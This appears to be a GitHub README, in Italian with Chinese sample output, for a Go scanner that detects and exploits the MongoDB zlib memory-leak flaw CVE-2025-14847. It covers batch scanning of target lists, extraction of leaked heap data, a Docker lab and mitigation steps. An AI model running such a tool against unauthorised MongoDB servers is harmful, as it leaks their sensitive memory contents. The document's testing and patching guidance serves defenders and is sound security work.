
Strumento di rilevamento della vulnerabilità di perdita di memoria di MongoDB (CVE-2025-14847)
Strumento di rilevamento della vulnerabilità di perdita di memoria di MongoDB (CVE-2025-14847)
⚠️ Nota importante: questo strumento è destinato esclusivamente a test di sicurezza autorizzati e valutazione delle vulnerabilità. L'uso non autorizzato può violare la legge.
CVE-2025-14847 è una grave vulnerabilità di perdita di memoria nella gestione del protocollo di compressione Zlib di MongoDB. Un attaccante può inviare pacchetti compressi appositamente costruiti, facendo sì che MongoDB restituisca dati di memoria heap non inizializzati, che possono contenere informazioni sensibili.
# Clona il repository
git clone https://github.com/onewinner/CVE-2025-14847.git
cd CVE-2025-14847
# Installa le dipendenze
go mod download
# Compila
go build -o mongodb-scanner main.go
# Esegui
./mongodb-scanner -t 127.0.0.1:27017
go run main.go -t 127.0.0.1:27017
Visita la pagina Releases per scaricare la versione precompilata adatta al tuo sistema.
# Scansione di un singolo target
./mongodb-scanner -t 127.0.0.1:27017
# Scansione batch da file
./mongodb-scanner -f targets.txt
# Scansione batch (20 thread)
./mongodb-scanner -f targets.txt -c 20
# Scansione e salvataggio dei target vulnerabili
./mongodb-scanner -f targets.txt -o vulnerable.txt
# Intervallo di offset personalizzato (scansione più rapida o più profonda)
./mongodb-scanner -t 127.0.0.1:27017 --min-offset 20 --max-offset 1000
Crea un file targets.txt:
# Elenco dei target MongoDB
127.0.0.1:27017
192.168.1.100:27017
mongodb.example.com:27017
# Se non si specifica la porta, viene utilizzata la 27017 predefinita
192.168.1.101
Per testare questo strumento in sicurezza, si consiglia di utilizzare Docker per configurare un ambiente di test locale.
# Avvia MongoDB 6.0.14 (versione vulnerabile) con compressione Zlib abilitata
docker run -d \
--name mongodb-vulnerable \
-p 27017:27017 \
mongo:6.0.14 \
--networkMessageCompressors snappy,zlib
# Controlla lo stato del container
docker ps
# Test della vulnerabilità
./mongodb-scanner -t 127.0.0.1:27017
Crea un file docker-compose.yml:
version: '3.8'
services:
# Versione vulnerabile (con Zlib abilitato)
mongodb-vulnerable:
image: mongo:6.0.14
container_name: mongodb-vulnerable
ports:
- "27017:27017"
command: mongod --networkMessageCompressors snappy,zlib
# Versione corretta (per test comparativi)
mongodb-patched:
image: mongo:6.0.27
container_name: mongodb-patched
ports:
- "27018:27017"
command: mongod --networkMessageCompressors snappy,zlib
volumes:
mongodb-data:
mongodb-patched-data:
Avvia l'ambiente di test:
# Avvia tutti i container
docker-compose up -d
# Test della versione vulnerabile
./mongodb-scanner -t 127.0.0.1:27017
# Test della versione corretta
./mongodb-scanner -t 127.0.0.1:27018
# Arresta e pulisci
docker-compose down -v
# Arresta ed elimina i container
docker stop mongodb-vulnerable && docker rm mongodb-vulnerable
# Pulisci i volumi dati
docker volume prune -f
Lo strumento utilizza prefissi uniformi per contrassegnare le informazioni di output:
[*] - Output informativo (target, versione, configurazione, ecc.)[+] - Successo / vulnerabile / dati estratti[-] - Errore / sicuro / nessuna vulnerabilità[!] - Avviso / nota importante╔══════════════════════════════════════════════════════════════╗
║ MongoDB CVE-2025-14847 漏洞检测工具 ║
╚══════════════════════════════════════════════════════════════╝
⚠️ 仅用于授权安全测试 | 未经授权测试可能违法
[*] 目标: 1 | 线程: 10 | 超时: 2s | 偏移: 20-1000
[*] 开始扫描...
[*] 目标: 127.0.0.1:27017
[*] 版本: 6.0.14
[+] 漏洞版本: 是
[+] Zlib压缩: 已开启
[!] 漏洞可利用,开始提取内存...
[+] 偏移=229 长度=250: :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",
[+] 127.0.0.1:27017 - 漏洞可利用 (v6.0.14) - 3468ms
[+] 成功提取 1 项内存数据:
[1] :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"172.17.0.1:44936\"...
======================================================================
[*] 扫描完成 | 总数: 1 | 可利用: 1 | 安全: 0 | 耗时: 3.4s
======================================================================
[*] 目标: 127.0.0.1:27018
[*] 版本: 6.0.27
[-] 漏洞版本: 否
[-] 127.0.0.1:27018 - 版本安全 (v6.0.27) - 156ms
======================================================================
[*] 扫描完成 | 总数: 1 | 可利用: 0 | 安全: 1 | 耗时: 0.2s
======================================================================
[*] 目标: 127.0.0.1:27017
[*] 版本: 6.0.14
[+] 漏洞版本: 是
[-] Zlib压缩: 未开启
[-] 127.0.0.1:27017 - 未开启Zlib (v6.0.14) - 234ms
======================================================================
[*] 扫描完成 | 总数: 1 | 可利用: 0 | 安全: 1 | 耗时: 0.3s
======================================================================
[*] 目标: 5 | 线程: 10 | 超时: 2s | 偏移: 20-8192
[*] 开始扫描...
[+] 192.168.1.10:27017 - 漏洞可利用 (v6.0.14) - 3521ms
[+] 成功提取 2 项内存数据:
[1] Connection ended...
[2] network statistics...
[-] 192.168.1.11:27017 - 版本安全 (v6.0.27) - 145ms
[-] 192.168.1.12:27017 - 未开启Zlib (v6.0.14) - 198ms
[+] 192.168.1.13:27017 - 漏洞可利用 (v7.0.15) - 2987ms
[!] 192.168.1.14:27017 - 漏洞可利用但未提取到数据 (v6.0.20) - 4123ms
======================================================================
[*] 扫描完成 | 总数: 5 | 可利用: 3 | 安全: 2 | 耗时: 5.2s
======================================================================
[+] 可利用的目标已保存到: vulnerable.txt
Questo strumento adotta un meccanismo di rilevamento in tre fasi:
buildInfo)| Condizione | Risultato |
|---|---|
| Versione vulnerabile + Zlib attivo + dati estratti | ✅ Vulnerabilità sfruttabile - mostra i dati divulgati |
| Versione vulnerabile + Zlib attivo + nessun dato estratto | ⚠️ Vulnerabilità sfruttabile ma nessun dato estratto |
| Versione vulnerabile + Zlib non attivo | ❌ Zlib non attivo - non sfruttabile |
Aggiorna immediatamente a una delle seguenti versioni corrette:
Se non è possibile aggiornare nel breve termine, si possono adottare le seguenti misure temporanee:
Configurare in mongod.conf o mongos.conf:
net:
compression:
compressors: []
Oppure escludere esplicitamente zlib nei parametri di avvio:
mongod --networkMessageCompressors snappy,zstd
Si consiglia di utilizzare snappy o zstd al posto di zlib:
net:
compression:
compressors: snappy,zstd
bindIp--auth)⚠️ Nota importante: le misure di mitigazione temporanee possono solo ridurre il rischio, non sono una soluzione definitiva. Si raccomanda vivamente di aggiornare a una versione corretta il prima possibile.
Nota importante:
Gli utenti che utilizzano questo strumento accettano di:
Questo progetto è distribuito con licenza open source MIT License.
Issue e Pull Request sono benvenuti!
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)onewinner - @onewinner
Indirizzo del progetto: https://github.com/onewinner/CVE-2025-14847
⭐ Se questo progetto ti è stato utile, lascia una Star!
Realizzato con ❤️ da ricercatori di sicurezza
| Intervallo di versioni | Stato |
|---|
| 8.2.0 - 8.2.2 | ⚠️ Vulnerabile |
| 8.0.0 - 8.0.16 | ⚠️ Vulnerabile |
| 7.0.0 - 7.0.27 | ⚠️ Vulnerabile |
| 6.0.0 - 6.0.26 | ⚠️ Vulnerabile |
| 5.0.0 - 5.0.31 | ⚠️ Vulnerabile |
| 4.4.0 - 4.4.29 | ⚠️ Vulnerabile |
| 4.2.x tutte le versioni | ⚠️ Vulnerabile |
| 4.0.x tutte le versioni | ⚠️ Vulnerabile |
| 3.6.x tutte le versioni | ⚠️ Vulnerabile |
| Parametro | Descrizione | Valore predefinito |
|---|
-t <target> | Singolo target (es: 127.0.0.1:27017) | - |
-f <file> | File dei target (un target per riga) | - |
-c <num> | Numero di thread concorrenti | 10 |
-timeout <time> | Timeout di connessione | 2s |
-o <file> | File di output (salva i target vulnerabili) | - |
--min-offset <num> | Offset minimo della lunghezza del documento | 20 |
--max-offset <num> | Offset massimo della lunghezza del documento | 8192 |
| Versione non vulnerabile | ✅ Versione sicura |